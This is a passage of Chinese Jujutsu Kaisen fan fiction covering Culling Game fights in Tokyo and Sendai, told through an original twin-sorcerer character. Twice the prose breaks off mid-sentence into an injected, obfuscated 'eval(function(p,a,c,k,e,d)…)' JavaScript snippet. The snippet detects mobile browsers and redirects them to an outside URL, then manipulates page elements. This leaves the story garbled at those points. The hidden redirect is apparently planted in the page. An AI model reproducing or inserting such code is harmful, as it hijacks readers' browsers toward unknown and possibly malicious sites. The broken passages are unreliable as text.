普通人看不见咒力和咒灵,在他们的眼中鹿紫云一和日照就是在进行街头斗殴,一方还拿着非常危险的武士刀。来执行疏散任务的警察们并不知晓他们的身份,高层除了下达了“疏散平民”的命令之外,并没有其他例如“击毙”、“拘捕”之类的命令。 他们希望所有的泳者都赶快回到结界里去,私底下对于增加了“泳者可以自由出入结界”这个规则的人深恶痛绝。 像是泳者这样拥有远超常人力量的家伙进入大众视野,对于维持国家和社会的安定没有任何好处。 日照突然受伤让所有偷偷关注这里的人倒吸了一口气,裸露出来的碎骨和血肉让从未见过这种血腥场面的人生理性地反胃。 下一刻,那些四处飞溅的猩红血液消失了。断掉的手臂“再生”完成,好像什么都没有发生过一样完好如初。 断掉的眼罩没有恢复。 鹿紫云一疑惑,是反转术式吗?这种再生速度......他猛地察觉到自己的力量和咒力恢复了正常。 “真是的,”他稍微提起了一些兴趣,“现代术师的术式真是越来越复杂了!” “应该是觉得很有意思才对吧?”日照挥刀直面鹿紫云一,操纵电流的术师全力挥拳。在鹿紫云一看来,这一拳的力量足以破开那柄咒具的防御,但难以想象的巨力从刀刃上传来,这一次被压制的居然还是他! 感官错位了吗?身体力量并没有被削弱,那么......变强的是日照!? 鹿紫云一被击飞了出去,蕴含着咒力的刀尖破开了他的防御,在他身上留下了第二道伤痕。 日照周身的咒力变得充盈,怪不得刚才的一击会有这样的力量。 能够刷新自身状态(存疑)、能够削弱对手力量、能够增强自身力量。这到底是个什么术式!? 不过,如果刚才的一击已经是他能够做到的最大程度增幅的话,看来他的术式只是形式多变,在力量上无法做到绝对压制。也就是说,是个下限高但上限低的术式。 “一脸‘了如指掌’的表情,难道是想了什么很失礼的事情吗?” “算是吧。”鹿紫云一重新开始积攒电荷。只要把他整个人都炸飞,他还能在临死前用出术式吗?来和死亡赛跑试试看吧! 日照看了一圈周围,他们打斗的附近看起来没有其他人在了,哪怕是前来疏散群众的警察们都退到了百米之外。 “别东张西望!!” 鹿紫云一眼下的闪电纹路闪耀着,日照的右眼因为眼罩掉落而露了出来。那是一只颜色极淡、近乎纯白的眼睛,因为那只眼睛的颜色太过特别,眼眶周围皮革色陈旧的疤痕与之形成了诡谲的对比。 日照如他所愿,将目光收回。视线聚焦在了鹿紫云一的身上。 他举起左手,食指、小指伸出,其余手指收拢在掌心。 手印、咒词、咏唱。这次他不会省略任何步骤,咒力从核心被唤醒,力量涌动至表面,最终冲破了桎梏。用繁琐的术式构成弥补缺损的灵魂,通过仪式让这一过程进行升华。 “无垢,虹光,自解脱。” 鹿紫云一选择退避锋芒。 流云一样的眼睛熠熠生辉:“【仳】。” —— 破损的体育馆内,濒死的零士·明星靠在泳池边,伏黑惠也万分狼狈。他为了击败零士·明星,凭借这个体育馆完成了一个半开放的领域,勉强在比拼中胜对方一筹。来栖华已经终结了针千钧,拿到了最基础的5分。 黄栌折和来栖华同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137747|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时赶到了体育馆。 “没想到我竟然着了现代术师的道,而且还是你这样一个乳臭未干的小孩......如果是他倒也罢了,哈哈。” 伏黑惠的伤势也不容乐观,咒力见底:“‘他’指的是谁?” 零士·明星没想到伏黑惠从最开始就在骗他们:“原来你们不认识啊?是个戴眼罩、独来独往的家伙。他身边的那个女孩估计很快就会被抛弃掉吧......他比你更会骗人。” “黑头发,挎着一个网球袋?” “BINGO,就是他,”零士·明星捂着自己被玉犬出其不意撕裂的伤口,汩汩鲜血从他手下涌出,“小金,把我的分数都给他。” 伏黑惠的小金汇报他从零士·明星那里得到了26点分数。 “你这是干什么?” “就当是我死前的最后一点善心吧......我和羂索不熟,就是来凑个热闹而已。那个家伙叫什么?” 伏黑惠回答:“日照弥山。” “真是悲惨的家伙......被羂索盯上的人通常会被狠狠玩弄命运,那个人也是。不过,这样一来事情肯定会变得更加有趣吧......” 止不住的鲜血顺着泳池边的格子地砖流进了水中,染红了一片水域。 黄栌折最后看了一眼零士·明星,转身离开了。来栖华没有去追他。 “在这个......相互诅咒的......世界......” 所有人都会受尽命运捉弄,像小丑一样死掉。 “得到5分!” 伏黑惠没有听完零士·明星的遗言,强撑着离开了体育馆。被玩弄命运......他想起和同伴们分享过的、他第一次听到这个名字的时候,难道当时的事就是和羂索有关?五条悟他们既然这么早就和羂索交手,为什么还会发生现在这样的事? 不、不该这么想。也许这就是零士·明星说的,玩弄命运吧? “可恶!到底发生过什么啊......” —— “诶!?日车你说的难道是这样戴着眼罩,然后头发是这样的,还这样斜背着一个包的人?” 虎杖悠仁捋平自己的头发,用右手遮住右眼,又在身侧比比划划。日车宽见点了点头。 现在他们正在一起行动。指虎杖悠仁、胀相、日车宽见和甘井凛四个人。 原本在选择放弃处刑人之剑之后,日车宽见自认为作为一个主动放弃了光明的人,已经无法再直视虎杖悠仁这样耀眼的人。他本想自己离开,但虎杖悠仁以不认识路、多一个人更安全等等理由向他发起了组队申请。 “日车你也知道,宿傩还在我的体内,”虎杖悠仁真诚地看向他,“如果我失控的话,请不要犹豫,直接杀死我。用你最后的那把剑就好。” 日车宽见就这样加入了他的队伍。 他认为这是一种趋光性。 “不知道秤学长和伏黑他们那边怎么样了啊......哦对了,小金!”虎杖悠仁叫出小金,发现伏黑惠还在东京第1结界,再往下翻他还看到了五条悟和夏油杰的名字,不过他们都已经处于结界外了,无法准确定位。 就在他查看名单的时候,靠近顶端的两个名字后面跟随的分数发生了剧烈的变化。 —— “分数给你了。” 鹿紫云一低着头,看着自己被分解的半边身子。 “得到103分!!” 日照心情愉悦地看着自己的分数来到106,蹲下来用反转术式帮鹿紫云一修复身体。 “......你还真是个怪物。” “过誉啦。” 【仳】能够对半径50米内一切带有一定咒力的物体进行强制分解。这只是最简要的说明,事实上【仳】的术式对象首先是咒力、其次才是承载咒力的物体。这个顺序至关重要,分解首先发生在无形的咒力上,针对物体的分解比这一现象晚一步发生。但这两个过程是同时存在的,也就是说最终结果是咒力会被率先分解完毕,在完成这一点后,针对物体的分解将会停止,因为物体已经不再拥有咒力,会被判定为无咒力的对象。 【仳】的本质像是附加给简易领域中所有人的诅咒。只要术式生效时处于半径50米这个领域内,针对术式对象的分解过程就会开始,哪怕在之后离开这个半径也会持续生效。 鹿紫云一很聪明,也察觉到了针对咒力和蕴含咒力的物体的分解过程之间的错位,选择将咒力一次性爆发干净,从而保住了大部分身体。也正因为一点咒力都不剩,所以连反转术式也无法使用了。 日照对于被鹿紫云一称为怪物持否定的态度。这只是他的【仳】,是刻印在他脑海中的第二术式。他的兄弟既然能得到“五条悟成长前的最强”这样的称号,自然有他的道理。 但是现在的日照星海是个大懒蛋,不仅话懒得说,连做饭都懒懒散散的了。 鹿紫云一现在觉得自己的确有些小瞧这个看起来还很年轻的现代术师。拥有两个术式的人并非不存在,不过在400年前他生活的时代,大脑中刻着两个术式的人基本上难以承受双术式带来的负担,早早死去。 就算是因为受肉而拥有了两个术式,也很难在短期内将它们使用得同样得心应手。 “你要跟我一起去仙台吗?我们来组队吧!” “哈?” 日照看起来永远这样想一出是一出:“我说过,我觉得你的术式很有意思。” 鹿紫云一不置可否,他的术式是很奇特没错,不知道是不是因为【幻兽琥珀】只能使用一次的原因,他没机会尝试领域展开。 日照站起身,周围有人开始靠近了:“而且就是因为你,新干线全都停了啊,不然我晚上就能到仙台了。” “你是强盗吗?我在地面上啊!那玩意儿不是在地下吗!?” “那就要问你的咒力了。” 鹿紫云一闭上了嘴。不过反正他也要找宿傩,去哪儿都无所谓。 日照开出了一个更诱人的条件:“我说,你想试试解放术式的感觉吗?没有副作用的那种。” 鹿紫云一瞬间来了感觉:“怎么说!?” “别着急,”日照按住他,“我想知道羂索的事,把你知道的都和我说说吧?” 17. 闭环 这下连通东京和仙台的东北新干线彻底停运了。现在想要去仙台的话,除去自驾,就只能看看还有没有运行中的高速巴士,或者选择夜间电车之类的。途经结界所在地的公共交通基本都停滞了,就算还开着,价格也高得离谱。 “喂,非得换这个吗?”鹿紫云一用他的棍子挑起一件帽衫。 日照只是一味地挥手把人赶去衣帽间换衣服:“别废话了,我可不想走到哪里都被注目。人生的观众还是很多的。” 他下楼准备去找点速食食品,在扶梯上时他的手机响了一声,他点开锁屏看了一眼,本来以为又是五条悟发来的什么没营养的照片,但他在收信箱里看到了两张车票的预订信息。 “......” 日照想起了自己参加死灭洄游之前发到他手机上的短讯。不管怎么说,这给他省了不少事。时间也卡得刚刚好,现在是下午七点多,等他们吃完晚饭正好上车,明天早上就能到。 他放弃寻找速食食品的行动,改为在商场里找自己想吃的餐厅。 “烧肉怎么样?”他问穿着装新衣服的鹿紫云一,对方没说话,比他先一步掀开帘子走了进去。 这家店不用预约,人也不多,他们挑了个靠角落的位置点好了菜。 “所以,你想知道什么?” 油脂均匀的牛五花在烤盘上滋滋作响。 “术式、传闻、弱点之类的,什么都可以。” 很遗憾,鹿紫云一知道的还没有日照多。 “你跟他有仇?”在鹿紫云一生活的江户时代初期,羂索附身的肉|体并不擅长战斗,他是在鹿紫云一步入老年之后才出现在他面前的。如果是年轻的时候,鹿紫云一根本不会理会羂索的提议。但是对于步入老年的他来说,羂索提出的提议就很诱人了。 在百年之后以全盛时期的姿态重生,自己将与历史上所有强大的术师同台竞技,更不用说羂索向他承诺,诅咒之王两面宿傩也会出现在未来。 对于各个时代的强者来说,羂索更像是实现了他们愿望的人。 “是啊,因为他那该死的好奇心把我们的生活搅得一团糟,”日照给烤盘上的薄切肉翻面,已经变色的表面上留下了焦糖色的烤盘网格纹路,“活着就是为了完成一件事的家伙们还真是可怕。” “你就不怕我和羂索还有联系?” “你看起来也不像是能和他聊到一块去的人。” 鹿紫云一觉得这话听起来有点怪,但肉熟了,先吃饱再说。现代食物应该是最吸引他的东西了,除了宿傩和打架以外。 “你的术式是怎么回事?两个?脑子不会被烤熟吗?” 日照叉起一块切成条状的牛肉,叉子在自己的脸颊边晃来晃去,像是逗狗狗一样:“这是秘密,还请不要随便说出去哦。” 鹿紫云一看见他黑色的那只眼睛下面出现了一张嘴,日照习以为常地将叉子上的肉递了过去。 还真是自大的小鬼,鹿紫云一想道。 与此同时,已经进入仙台结界,正在疏散人群的乙骨忧太通过机械丸得知了日照正准备前往这里的消息。 仙台结界的战斗烈度要远胜东京,盘踞在这个结界中的四个最强者形成了一个相互压制的均衡态势,也因为他们的存在,很多普通人被迫滞留在了结界内,成为了泳者。这些人无意参与死灭洄游,高专的辅助监督无法护送他们安全通过这里四个泳者的地盘安全离开,所以乙骨忧太正在想办法。 “日照先生和......鹿紫云一?” 感觉接下来会发生一些很麻烦的事......他联想到了一些不太美妙的回忆。 “那个,发生什么事了吗?” 乙骨忧太正在护送一群普通人前往临时落脚点,大概是他欲言又止、难以言喻的表情让他们有些担心,有人过来问他情况。现在天已经完全黑了下来,他们必须尽快赶到前面的那个体育馆里。 “没事,我们加快脚步吧!”乙骨忧太收起迷你机械丸,当务之急是安置好这些人。等日照他们进入结界之后再去找他们汇合吧。 前方去往体育馆的必经之路上需要通过一个桥洞。旁边就是从流淌不息的广濑川分出的支流,白日里这个桥洞下很凉快,不少附近的孩子都喜欢在小河里摸龙虾,但入夜之后这里就显得阴森无比。 今天没有月亮呢。乙骨忧太好像听见了窸窸窣窣、像是小虫子爬行的声音。 “大家,”他见人群似乎也很犹豫,对桥洞下的黑暗有些忌惮,干脆选择带着他们绕路,“我们走这边吧。” —— 某结界外,里梅对羂索怒目而视:“这就是你说的准备万全?” 羂索倒是没有任何计划被打乱的恼怒。在他的计划里,禅院家用来训练年轻一辈和进行惩罚的场所噸之间是里梅为宿傩准备“浴”的绝佳场所,这里不仅空间宽阔,而且天然封禁着很多二级以上的咒灵。 他本来想以这个场所作为交换,换来观摩里梅准备“浴”的过程的许可,但现在这个计划被打乱了。 伏黑甚尔几乎杀光了所有企图反抗他的禅院族人,上一任家主禅院直毘人早就聪明地跑路到了海外,如今偌大的禅院家还在喘气的就只有一些女眷和禅院真希、真依两姐妹。 有天与暴君待在禅院本家,羂索还不想这么早暴露自己的行踪。 “不要着急,里梅。” 他当然不可能没有后手准备。 “现在狱门疆已经被解封了,如今只剩下【无下限咒术】......为什么不把它交给我来保存?与其交给那样一个不三不四的家伙,放在身边反而更安全吧?” 羂索意味深长地笑了起来:“这对兄弟的肉|体与灵魂之间的联系是特别的,简单地来说,会产生类似‘共鸣’的感觉。不要小看那个家伙,虽然滑稽得很,但毕竟......” 他推了一下有些下滑地眼镜框,被定格在发育途中的身体比起自己的兄弟来说略微瘦弱了一些:“仇人见面难免会打得头破血流,如果有机会拿到日照弥山的身体就更好了。” —— 伊地知洁高收到了寄给伏黑津美纪的物品。伏黑津美纪在清醒之后被安排在了高专之外、辅助监督们的总部进行复健,虽然只是在病床躺上了一年多,但她的双腿肌肉还是出现了不同程度的萎缩,一时难以行走。 “津美纪小姐?有你的物品,我放在你的门口了。”伊地知洁高敲了敲伏黑津美纪的房门,得到了回应后又马不停蹄地投入工作中去了。 “真是太谢谢你了,伊地知先生,还要麻烦你帮我送过来。”伏黑津美纪坐着轮椅打开门,笑着对伊地知洁高的背影说道。 等四下无人之后,她直接用脚勾住绑在方盒上的捆绳,将它甩到了自己的怀里,双腿灵活得有些诡异。 拆开之后,盒子里装的是一个裹满了封印的物品。看起来像是一个断掉的匕首,外面还缠绕着一跟项链一样的东西。 “呵呵,真是好大的手笔。” 女孩摸着盒子里的东西,拼命压制着翘起的嘴角。 —— 2018年11月8日,仙台,10时47分。 日照、鹿紫云一与乙骨忧太在仙台市体育馆汇合。 “这个仙台结界怎么好像比东京那边的结界大一点的感觉。”他们现在在附近的高楼顶端,放眼望去能看到到处都是泳者之间战斗留下的痕迹。 有一些连续的痕迹是几个巨大的、像是蜗牛一样能够自主行动的式神留下的。 提前两天进入仙台结界的乙骨忧太跟他们说明了现在结界内四方鼎立的情况。 三个古代受肉术师石流龙、乌鹭亨子和多鲁布·拉克达瓦拉,以及一个特级咒灵黑沐死。 石流龙是生活在江户时代的术师,术式疑似【咒力放出】,能发射出力量惊人的咒力冲击波。行事高调得很,长相的话没什么好说的,最有特点的是他的飞机头。 乌鹭亨子生前似乎是平安时代的术师,术式可以操纵“天空”。大概就是这样? “......不要学悟啊,乙骨同学!!” 至于多鲁布,日照比乙骨忧太更熟悉。在仙台市内肆意行走的两种式神就是他的东西,拥有可以将式神的轨迹变为自身领域的能力。这个人如今已经是第二次受肉,是曾经在倭国大乱时独自一人成功镇压群岛的元老。 重点在这是“第二次”。 “得好好感谢他才行啊,”日照用玩具望远镜看向远方,找到了天空中乌鹭亨子的身影,“至少没有白活那么久。” 乙骨忧太缩了一下脖子。虽然自由进出结界的规则方便他们及时获取物资、更新情报,但同时像多鲁布这样拥有大规模杀伤力的泳者也可以随便离开结界。必须在拿到分数的同时,尽可能消灭这些危险的泳者。 多鲁布毕竟是传说中接近神话时代的人物,在他们进入仙台结界之前,他的分数是最多的。 “特级咒灵黑沐死目前处于休眠状态,不知道究竟在哪里。” 黑沐死、乌鹭亨子、石流龙、多鲁布,前者在术式属性上克制后者,而多鲁布化轨迹为领域的能力又克制了黑沐死,环环相扣,这才成就了仙台如今的平衡。 “那就别管它,”鹿紫云一一脚踹在天台的栏杆上,“咱们一人一个怎么样?” 他跃跃欲试,对日照说:“让我试试看吧?” “你想试没问题,但我不能离你太远。” 他看向乙骨忧太,穿着白色特制高专校服的少年举手:“没关系,不用在意我。” 就算乙骨忧太只有一个人,他也打算凭自己拿到足够的分数。 见他不像勉强自己的样子,日照问鹿紫云一:“你选一个吧。” 被鹿紫云一选中的是多鲁布。 在他们分开之前,日照从网球袋中拿出了一只枯手。这只手是他在东京第1结界时遇到的使用【妙手】术式的人尸体的一部分。他将这个东西交给了乙骨,因为在死亡后尸体缺失的任何部分无法按照“致命性”来进行排序,因此也就无关紧要究竟是手还是内脏之类的,对乙骨术式的影响也不大。 “啊,谢谢,日照先生。”乙骨收下了那个东西,但没有立刻让里香吃下。他知道日照的右眼与五条悟的六眼有相似的能力,在海外的时候日照就已经深入了解过他的术式了。 尸体缺损的部位不会通过反转术式再生,所以砍下的部分永远不会失去咒术上的价值。里香那里能够储存的术式有限,他得仔细考虑丢弃哪个、留下哪个。 多鲁布本尊没有待在式神附近,在式神经过的轨迹闭合之前,领域是不会封闭的。一种式神就是他们肉眼看见的、体型巨大的蜗牛,另一种体型极小,很容易被忽视。很多人都是只关注到了体型大的式神,忽略了体型小移速快的另一种。 他们来到了本尊附近。 日照调侃鹿紫云一:“就这么信任我?我也可以让你回不来哦?” 鹿紫云一根本不吃他这一套:“你对除了羂索之外的人根本不感兴趣吧?如果咒术能变成人,你大概是会和它结婚的类型。” “说得真过分啊,”日照没有否认,他比出手印,“我很期待哦,但是别太上头。” 鹿紫云一从原地一跃而起:“废话真多!!” 有关术式的信息自他觉醒之后就自动传输给了大脑,然而穷极一生他都没有遇到值得他解放术式的对手。晚年时虽然听闻有个名叫石流龙的术师可以称得上是当今时代第一咒力大炮,但鹿紫云一已经无力再战。 【幻兽琥珀】为了能将咒力变化的种种现象变为现实,将对术师本人的肉|体进行改造。在脑内电信号的活性作用下,鹿紫云一的敏捷性大幅提升,与物质固有振动频率最优化、同调的音波,以及将照射之物蒸发的电磁波,【幻兽琥珀】将这一切化为现实。此时鹿紫云一的身体将完全超越人类的领域。 在术式终了后,他的肉|体也会崩坏。 多鲁布看到了冲他而来的鹿紫云一,盘腿端坐的老人并无惧色,只有蝇头大小的式神向鹿紫云一包围了过去。 “戒律,无慢,星之渊,闭合年轮。” 随着日照话音落下,他伸手抓住了虚空,向后拉扯。 异变发生在了鹿紫云一身上。 “哈哈哈哈哈!!!”鹿紫云一的身体虽然还勉强保持着人形,但肢体末端已经开始能量化,面部下方也已经失去了人类的生理结构,变得更利于能量输出。 日照掀起单眼眼罩,星海也出来凑热闹了。 “纯进攻型的术式,如果没有代价就更有说法了。” “但是破坏性已经足够了。”日照对此感觉很满意,他终止了术式,多鲁布也在鹿紫云一的咒力共振攻击中死的不能再死了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137748|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他假模假样地双手合十,口中念念有词:“一路走好。” 星海骂了他一句。 “我可是在真心实意地感谢他,”日照从高处跃下,去找鹿紫云一汇合,“毕竟只有他是‘再来一次’的嘛!” 他听到鹿紫云一的小金汇报他得到了5分,这才想起多鲁布那80多分。 “......感觉像是把钱直接扔进广濑川里一样让人抓心挠肺。” “小气吧啦的,”鹿紫云一更在乎刚才短暂体会到的超越人类的状态,“我现在的咒力一点都没变少......别藏着掖着了,跟我说说呗?” 他实在想知道日照的另一个术式究竟是什么。刚才发生得一切都像是梦一样,随意掌控力量的感觉还残留在大脑里,可身体已经不记得了。 “是可能性,”日照似笑非笑,“你的术式能把超越人类极限的咒力现象变为现实,我的术式将这一可能性摆到了你眼前。” 鹿紫云一眯着眼睛看他,表情看上去就是在说“我知道你又在骗我”。 日照绷紧嘴角:“我可没有说谎。” 鹿紫云一轻嗤,不爽地说:“只有弱鸡才会在术式上遮遮掩掩,畏手畏脚的还想杀羂索?” “这个嘛……毕竟时代也在变化,年近古稀的老头子不理解也是情有可原的,就像每个时代流行的发型也不太一样,像是丸子头之类的,现在已经过季了呢。” “哼,油嘴滑舌的臭小鬼。”鹿紫云一不再和他废话,自从刚才他炸掉那个老头之后,周围就一直有东西鬼鬼祟祟地藏在角落里窥视他们。 天空中的乌鹭亨子和更远处的石流龙也察觉到了多鲁布的陨落。衔尾蛇一样的闭环一角开始陷落,多鲁布的死亡意味着他们的对手、自动进入沉眠状态的特级咒灵黑沐死即将苏醒。 黑沐死是蜚蠊咒灵,能够操纵每一只都被注入了咒力的蟑螂大军。以数量为优势的黑沐死被多鲁布的术式克制,所以它以多鲁布在结界内的生死作为判断依据,设定多鲁布的死为苏醒条件,暂时沉寂。 鹿紫云一追着黑沐死咒力出现的方向前进,走了几步发现日照还站在原地:“愣着干嘛?” 日照翻了个白眼:“走你的路。” “给我放尊重点啊臭小鬼!!” 日照对此充耳不闻。他甩甩手臂,将网球袋的包往后推,拿出了雷切。 “你还是离远一点比较好,”他们身旁的河道中,一个浑身漆黑、像是披着斗篷一样的咒灵悄然出现,“他会给你治疗,我可懒得管你。” “?”鹿紫云一乍一下没听明白,随即反应过来。他们这是交换了啊。 “为什么换过来了?他打不过吗?” 日照挽起袖子,跳进河道里,直面黑沐死:“任性的家伙。” 以他站立的地方为中心,周围的水体像是被无形的屏障自动排斥了一样,出现了一片真空地带。在碎裂的水波之中,还能看见大量被祓除的蟑螂。黑沐死可以通过单性繁殖创造出无数蟑螂,它们藏在泥土和湖水中伺机而动。 一般的咒术师很难逃脱被虫潮包围啃食的结局,日照一步步向前,水体和脚下被分解、排斥的空间也越来越大。似乎是嫌弃眼罩太碍事,他一把将其掀开扔掉,淡色瞳孔露了出来。 黑沐死张开了羽翼。包裹着它身体的薄薄一层之下,赤红色的手脚露了出来。它的口中发出被冒犯的威吓声,这反而激起了面前人类战斗的欲望。 青年越走越快,最后直接在河道中飞奔,像摩西分海一样冲了出去。 黑沐死的武器展露在了日照的面前。 它手中拿的是刀背上生有三个类似虫巢孔洞的“烂生刀”,是生与死之间的魔剑。黑沐死指向冲来的日照,无数蟑螂大军从水体和泥土中喷涌而出,铺天盖地好像黑色的海。 日照挥动雷切,刀刃接触到了黑海的瞬间,黑沐死的本体突然受到了重创。它生下的“孩子”们从它的皮肤下诞生,开始啃食它自己的身体,突破皮肤的桎梏来到了外界。 “嗬、嗬、嗬——”黑沐死的重瞳看了一眼突然出现在自己身上的伤口,满是血丝的眼睛盯上了日照手中的刀。 日照用指腹抹去雷切上的血水。对这把特级咒具来说,咒灵们的“能力”等同于术式,所以黑沐死会被它自己的攻击击中。 但对咒灵来说,用咒力就可以修复伤口,它们惧怕的是正极能量。能够直接输出正极能量的术师并不多,日照是其中之一。但他有更便捷的方法,又何必用输出效率不高的正极能量来解决黑沐死? 他直接冲到了黑沐死面前,特级咒灵握持着烂生刀的手臂被锋利的刀刃砍下,因为知道日照有雷切在手,虫潮大军无法对他造成实质性伤害,黑沐死没有选择继续发起进攻。 这个术师和多鲁布一样,他手上的咒具十分克制黑沐死。诞生时间足够久的特级咒灵开始思考,它选择增加进攻的方式,让虫潮和“土虫蠕定”同时发起进攻。“土虫蠕定”是黑沐死召唤出的两只身下存在巨囊的咒灵,它们能够独立行动,在日照雷切反击虫潮的时候从上空对他发起进攻。 它们身下的囊被破坏之后会从中泼出带有侵蚀性的液体,如果落入眼睛等脆弱部位也能给对手造成巨大的伤害。 “恶心死了。”日照在液体落下之前单手掐住黑沐死的脸,它长得就像是一只大号蟑螂,长长的触须让人联想到那些在角落里游荡的、让人浑身鸡皮疙瘩的家伙。 下一刻,庞大的咒力在河道的战场上爆发。 远处看着那边的乌鹭亨子和石流龙心中各有所思。乌鹭亨子非常讨厌黑沐死,除了它的外貌差强人意之外,虫潮这样凭借数量取胜的能力有些克制她的术式。 “黑沐死的气息消失了......咒力量不算多,但是个很成熟的术师。”石流龙自言自语,虽然没有杀死多鲁布的那个术师更锋利,但勉强可以用来打发时间。看来之后仙台要更乱起来了。 就在他们准备去会一会“新人”们时,一团不可忽视的庞大咒力集合体的靠近吸引了他们的注意力。 乙骨忧太丝毫没有隐藏咒力的意思,他逐渐靠近,决定率先出手的是乌鹭亨子。 “你和他们认识?” 和“天空”融为一体的古代术师眨眼间就出现在了乙骨忧太的身边,她像是抓着一张画布一样抓住了他们周围的“天空”。 18. 混战 乌鹭亨子的术式将捕捉到的“天空”变成“平面”,从术式效果来说,就是可以通过将空间压缩成平面,像摆弄画布一样扭曲空间,通过这种方式来弹开敌人的攻击。她遇强则强,基本依靠防御反击给对手造成伤害,从结果上来看,与雷切有异曲同工之处。 但她也不是没有进攻的手段。把对手连同周围的“天空”一起捕捉,再像切割薄冰那样一同击飞,这就是乌鹭亨子利用自己的术式开发出来的【宇守罗弹】,类似扩张术式,将术式对象的范围进行了扩充。 她术式中“天空”的意义更类似空间。 使用【宇守罗弹】将乙骨忧太击飞出去,乌鹭亨子正式宣告战斗开始。 乙骨忧太起身后,身上没有任何伤痕。他亲身体验了乌鹭亨子的术式,尽管还有些不太理解,但至少从伤害转化的效率来看,她的术式并不偏重攻击。 乌鹭亨子来到了地面,飞扬的长发似乎在说她与天空更加亲密,乙骨忧太主动发起攻击,挥出的重拳果不其然没能打中。 他亲眼看着乌鹭亨子抓取“天空”,只是轻轻一扭,他的拳头就偏离了原始的轨道,随着乌鹭亨子拽动的姿势幅度增大,他的手臂像是面条一样变得绵软扭曲。 趁此机会,乌鹭亨子给他脸上狠狠来了一拳。 乙骨忧太大概有些明白了,乌鹭亨子的术式似乎并不能连同空间和对手一同摧毁,只能制造出类似透镜对光的折射那样的扭曲,在发起进攻时还是会选择挥舞拳头。 这下他知道为什么石流龙会被她克制了。石流龙的术式是【咒力放出】,在他生活的400年前,他是活跃在陆奥地区、被称为伊达番历代最强输出的咒力大炮。石流龙的术式和输出手法非常简单粗暴,但只要乌鹭亨子扭曲空间,石流龙就无法击中她。 没办法击中的攻击就算伤害再高也没有用。 “我们并非同伴,只是目的相同。”如果日照先生和鹿紫云一能够成为高专的同伴就好了,乙骨忧太这么想道。 乌鹭亨子揪住身边“天空”遮住自己的身体:“也就是说他们不会来救你。这是我的术式,可以让我抓住‘天空’的‘平面’。” 这是进行术式公开,通过增加风险来换取能力的提升。 是在引诱我出手吧?如果被扭曲的攻击能够受她操纵返还给对手的话,也就意味着对手需要接下来自自己的攻击。乙骨忧太按兵不动。 快点动手啊......乌鹭亨子的想法被乙骨忧太猜中了。 “姑且问一句,像你这么强大的术师为什么还要这么拼命去战斗?” “哈?” 乙骨忧太解释道:“实力不济的人拼命拼杀获得分数是为了增加有利于自己的规则,像你们这样的术师又是为了什么才这样积极地战斗?” 是另有所图、知道什么连天元大人都不知晓的秘密,还是单纯地以杀人为乐? 乌鹭亨子直言不讳:“怎么?受肉对于现代术师来说是什么司空见惯的事情了吗?这对我们来说可是重生啊!?” 如果自己的第一次人生没有遗憾,谁又会对羂索的诱惑动心? “这个死灭洄游只是我们第二次人生的第一阶段,又是羂索计划中的一环,我们当然要多拿点分数未雨绸缪,应对各种情况啊!” 日照用术式烘干了被弄湿的裤子和鞋子,跟鹿紫云一蹲在一旁的楼顶上看热闹。 “这女人说得不错,这就是重生啊,”鹿紫云一毫不吝啬对羂索的夸赞,“也只有羂索能想出这么天才的办法了。” 日照撑着下巴没有理会。 “你没有家人或者朋友吗?”哪怕乙骨忧太在不久之前也没有朋友,但他自认为无法做出和乌鹭亨子同样的选择:“只是因为心有不甘,就穿越百年、千年后,不惜对无辜之人痛下杀手——为什么你们可以为了自己的私欲这么拼命?” 居然将受肉称作是重生,难道他们可以轻易抛弃与家人、朋友的回忆,接受独自来到千百年后、身边空无一人的事实吗? 乌鹭亨子的表情变了。乙骨忧太正疯狂地触碰着她的逆鳞,让人火大。 “你又懂什么!?像你这样人生顺风顺水的家伙,怎么能理解心有遗憾之人的感受啊!!?” 她愤怒地咆哮着,宣泄着上一世被效忠之人抛弃的不甘和怒火。她不满意那样草率落幕的人生,什么家人、朋友,连名字都没有的她想要重来一次又怎么了!? “在这一点上,我觉得接受死亡才是最重要的。” “!?”乌鹭亨子猛地回头,看见了本不应该出现在这里的日照。 他是什么时候过来的!?乌鹭亨子下意识地扯动“天空”防御他可能发起的进攻,但日照只是突兀地插入了她和乙骨忧太之间。 乙骨忧太瞪着一双无辜的眼睛看向他。是弥山先生?不,现在是星海先生才对。 “别分心,”日照横刀在身前,面对着东边,将背后留给乙骨忧太和乌鹭亨子,“要来了。” 他话音未落时,乙骨忧太已经看到远处放出的亮光。那是咒力闪耀的颜色,站在屋顶上的石流龙直接使用了【咒力放出】,他的飞机头像是炮管,磅礴的咒力从他头顶压缩并发射了出来。 “冰沙冲击波。” 攻击范围极广的咒力大炮席卷而来,目测半径至少在三米以上。咒力的余波摧毁了所过之处的建筑和街道,乌鹭亨子发动术式躲避,乙骨忧太也用咒力护住了自己的身体。 日照很少遇到这么直白地单纯使用咒力进行攻击的对手。术式就是【咒力放出】的术师他也是第一次遇见。 他挥动雷切,特级咒具不可颠覆的概念于此生效。雷切可以反弹一切由术式造成的攻击,它切开了石流龙发出的咒力大炮,像是在日照身前生成了一堵拒绝前进的墙壁。 咒力的放出还没有结束,石流龙却已经被自己的攻击击中了。 击中他的咒力洪流是凭空出现的,他根本没有反应的时间。 